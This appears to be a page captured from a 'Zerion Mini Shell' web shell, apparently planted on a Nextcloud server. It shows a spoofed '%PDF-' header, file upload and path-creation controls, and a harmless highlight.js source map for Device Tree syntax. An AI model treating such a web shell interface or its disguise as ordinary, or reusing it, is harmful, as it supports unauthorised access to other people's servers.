%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /www/varak.net/nextcloud.varak.net/apps_old/apps/text/js/
Upload File :
Create Path :
Current File : //www/varak.net/nextcloud.varak.net/apps_old/apps/text/js/dts-ANAo98pW.chunk.mjs.map

{"version":3,"file":"dts-ANAo98pW.chunk.mjs","sources":["../node_modules/highlight.js/lib/languages/dts.js"],"sourcesContent":["/*\nLanguage: Device Tree\nDescription: *.dts files used in the Linux kernel\nAuthor: Martin Braun <martin.braun@ettus.com>, Moritz Fischer <moritz.fischer@ettus.com>\nWebsite: https://elinux.org/Device_Tree_Reference\nCategory: config\n*/\n\n/** @type LanguageFn */\nfunction dts(hljs) {\n  const STRINGS = {\n    className: 'string',\n    variants: [\n      hljs.inherit(hljs.QUOTE_STRING_MODE, { begin: '((u8?|U)|L)?\"' }),\n      {\n        begin: '(u8?|U)?R\"',\n        end: '\"',\n        contains: [ hljs.BACKSLASH_ESCAPE ]\n      },\n      {\n        begin: '\\'\\\\\\\\?.',\n        end: '\\'',\n        illegal: '.'\n      }\n    ]\n  };\n\n  const NUMBERS = {\n    className: 'number',\n    variants: [\n      { begin: '\\\\b(\\\\d+(\\\\.\\\\d*)?|\\\\.\\\\d+)(u|U|l|L|ul|UL|f|F)' },\n      { begin: hljs.C_NUMBER_RE }\n    ],\n    relevance: 0\n  };\n\n  const PREPROCESSOR = {\n    className: 'meta',\n    begin: '#',\n    end: '$',\n    keywords: { keyword: 'if else elif endif define undef ifdef ifndef' },\n    contains: [\n      {\n        begin: /\\\\\\n/,\n        relevance: 0\n      },\n      {\n        beginKeywords: 'include',\n        end: '$',\n        keywords: { keyword: 'include' },\n        contains: [\n          hljs.inherit(STRINGS, { className: 'string' }),\n          {\n            className: 'string',\n            begin: '<',\n            end: '>',\n            illegal: '\\\\n'\n          }\n        ]\n      },\n      STRINGS,\n      hljs.C_LINE_COMMENT_MODE,\n      hljs.C_BLOCK_COMMENT_MODE\n    ]\n  };\n\n  const REFERENCE = {\n    className: 'variable',\n    begin: /&[a-z\\d_]*\\b/\n  };\n\n  const KEYWORD = {\n    className: 'keyword',\n    begin: '/[a-z][a-z\\\\d-]*/'\n  };\n\n  const LABEL = {\n    className: 'symbol',\n    begin: '^\\\\s*[a-zA-Z_][a-zA-Z\\\\d_]*:'\n  };\n\n  const CELL_PROPERTY = {\n    className: 'params',\n    relevance: 0,\n    begin: '<',\n    end: '>',\n    contains: [\n      NUMBERS,\n      REFERENCE\n    ]\n  };\n\n  const NODE = {\n    className: 'title.class',\n    begin: /[a-zA-Z_][a-zA-Z\\d_@-]*(?=\\s\\{)/,\n    relevance: 0.2\n  };\n\n  const ROOT_NODE = {\n    className: 'title.class',\n    begin: /^\\/(?=\\s*\\{)/,\n    relevance: 10\n  };\n\n  // TODO: `attribute` might be the right scope here, unsure\n  // I'm not sure if all these key names have semantic meaning or not\n  const ATTR_NO_VALUE = {\n    match: /[a-z][a-z-,]+(?=;)/,\n    relevance: 0,\n    scope: \"attr\"\n  };\n  const ATTR = {\n    relevance: 0,\n    match: [\n      /[a-z][a-z-,]+/,\n      /\\s*/,\n      /=/\n    ],\n    scope: {\n      1: \"attr\",\n      3: \"operator\"\n    }\n  };\n\n  const PUNC = {\n    scope: \"punctuation\",\n    relevance: 0,\n    // `};` combined is just to avoid tons of useless punctuation nodes\n    match: /\\};|[;{}]/\n  };\n\n  return {\n    name: 'Device Tree',\n    contains: [\n      ROOT_NODE,\n      REFERENCE,\n      KEYWORD,\n      LABEL,\n      NODE,\n      ATTR,\n      ATTR_NO_VALUE,\n      CELL_PROPERTY,\n      hljs.C_LINE_COMMENT_MODE,\n      hljs.C_BLOCK_COMMENT_MODE,\n      NUMBERS,\n      STRINGS,\n      PREPROCESSOR,\n      PUNC,\n      {\n        begin: hljs.IDENT_RE + '::',\n        keywords: \"\"\n      }\n    ]\n  };\n}\n\nmodule.exports = dts;\n"],"names":["dts","hljs","STRINGS","NUMBERS","PREPROCESSOR","REFERENCE","KEYWORD","LABEL","CELL_PROPERTY","NODE","ROOT_NODE","ATTR_NO_VALUE","ATTR","PUNC","dts_1"],"mappings":";4YASA,SAASA,EAAIC,EAAM,CACjB,MAAMC,EAAU,CACd,UAAW,SACX,SAAU,CACRD,EAAK,QAAQA,EAAK,kBAAmB,CAAE,MAAO,gBAAiB,EAC/D,CACE,MAAO,aACP,IAAK,IACL,SAAU,CAAEA,EAAK,gBAAkB,CACpC,EACD,CACE,MAAO,UACP,IAAK,IACL,QAAS,GACV,CACF,CACL,EAEQE,EAAU,CACd,UAAW,SACX,SAAU,CACR,CAAE,MAAO,gDAAkD,EAC3D,CAAE,MAAOF,EAAK,WAAa,CAC5B,EACD,UAAW,CACf,EAEQG,EAAe,CACnB,UAAW,OACX,MAAO,IACP,IAAK,IACL,SAAU,CAAE,QAAS,8CAAgD,EACrE,SAAU,CACR,CACE,MAAO,OACP,UAAW,CACZ,EACD,CACE,cAAe,UACf,IAAK,IACL,SAAU,CAAE,QAAS,SAAW,EAChC,SAAU,CACRH,EAAK,QAAQC,EAAS,CAAE,UAAW,QAAQ,CAAE,EAC7C,CACE,UAAW,SACX,MAAO,IACP,IAAK,IACL,QAAS,KACV,CACF,CACF,EACDA,EACAD,EAAK,oBACLA,EAAK,oBACN,CACL,EAEQI,EAAY,CAChB,UAAW,WACX,MAAO,cACX,EAEQC,EAAU,CACd,UAAW,UACX,MAAO,mBACX,EAEQC,EAAQ,CACZ,UAAW,SACX,MAAO,8BACX,EAEQC,EAAgB,CACpB,UAAW,SACX,UAAW,EACX,MAAO,IACP,IAAK,IACL,SAAU,CACRL,EACAE,CACD,CACL,EAEQI,EAAO,CACX,UAAW,cACX,MAAO,kCACP,UAAW,EACf,EAEQC,EAAY,CAChB,UAAW,cACX,MAAO,eACP,UAAW,EACf,EAIQC,EAAgB,CACpB,MAAO,qBACP,UAAW,EACX,MAAO,MACX,EACQC,EAAO,CACX,UAAW,EACX,MAAO,CACL,gBACA,MACA,GACD,EACD,MAAO,CACL,EAAG,OACH,EAAG,UACJ,CACL,EAEQC,EAAO,CACX,MAAO,cACP,UAAW,EAEX,MAAO,WACX,EAEE,MAAO,CACL,KAAM,cACN,SAAU,CACRH,EACAL,EACAC,EACAC,EACAE,EACAG,EACAD,EACAH,EACAP,EAAK,oBACLA,EAAK,qBACLE,EACAD,EACAE,EACAS,EACA,CACE,MAAOZ,EAAK,SAAW,KACvB,SAAU,EACX,CACF,CACL,CACA,CAEA,IAAAa,EAAiBd","x_google_ignoreList":[0]}

Zerion Mini Shell 1.0